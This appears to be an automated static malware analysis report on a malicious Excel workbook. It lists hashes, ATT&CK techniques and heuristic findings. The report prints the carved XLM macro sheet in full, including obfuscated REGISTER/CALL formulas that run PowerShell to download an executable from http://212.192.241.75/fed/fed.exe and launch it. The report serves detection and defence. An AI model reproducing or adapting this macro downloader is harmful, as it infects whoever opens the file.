Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 26d3748da040c2da…

MALICIOUS

Office (OOXML)

146.9 KB Created: 2021-08-26 06:04:04 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-31
MD5: 32e5efe3dee113738c21ae3904bd4c45 SHA-1: a7cc4d0984f71daf5498d58bf5619b0fbff05387 SHA-256: 26d3748da040c2da81baad41b93763c69c94d3b9e3f7d5efdab9f38443c2065e
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros that utilize dangerous functions like CALL and HALT. The CALL function is used to execute a PowerShell command that downloads a file from 'http://212.192.241.75/fed/fed.exe' and saves it to the public user directory, then executes it. This indicates a downloader or droppper functionality.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://212.192.241.75/fed/fed.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1531 bytes
SHA-256: c4344d20ca4dd58710a0140b0a797269e605921c9352f1b972622e5280785ef1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="E7:E9"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"><selection activeCell="E9" sqref="E9"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="7" spans="5:5" x14ac:dyDescent="0.25"><c r="E7" t="b"><f bx="1">fff=REGISTER.ID("She"&amp;"ll32","Shel"&amp;"lExe"&amp;"cuteA","JJC"&amp;"CCJJ")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.25"><c r="E8" t="e"><f>CALL(fff,0,"open","powe"&amp;"rsh"&amp;"ell","-nop [Net.Servic"&amp;"ePointManager]::SecurityPr"&amp;"otocol = [Net.SecurityP"&amp;"rotocolType]::Tl"&amp;"s12;Inv"&amp;"oke-WebR"&amp;"equest -Uri http://212.192.241.75/fed/fed.exe -OutFile $env:public\tKdoNM.exe;explorer $env:public\tKdoNM.exe",0,0)</f><v>#NAME?</v></c></row><row r="9" spans="5:5" x14ac:dyDescent="0.25"><c r="E9" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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